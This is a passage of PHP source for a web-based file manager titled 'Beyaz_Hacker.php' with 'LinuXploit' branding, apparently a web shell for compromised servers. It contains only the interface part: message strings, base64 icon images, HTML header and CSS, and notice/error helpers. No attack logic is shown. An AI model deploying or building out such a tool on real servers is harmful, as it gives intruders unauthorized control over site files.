'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" can not be read.'
		);

	}

}

function getimage ($image) {
	switch ($image) {
	case 'file':
		return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
	case 'folder':
		return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
	case 'hidden_file':
		return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
	case 'link':
		return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
	case 'smiley':
		return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
	case 'arrow':
		return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
	}
}

function html_header () {
	global $site_charset;

	echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />

<title>Beyaz_Hacker.php</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
	if (document && document.forms[0] && document.forms[0].elements['focus']) {
		document.forms[0].elements['focus'].value = name;
	}
}
//-->
</script>

</head>
<body>


END;

}

function html_footer () {

	echo <<<END
</body>


</html>
END;

}

function notice ($phrase) {
	global $cols;

	$args = func_get_args();
	array_shift($args);

	return '<tr id="notice">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

function error ($phrase) {
	global $cols;

	$args = func_get_args();
	array_shift($args);

	return '<tr id="error">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

Youez - 2016 - github.com/yon3zu
LinuXploit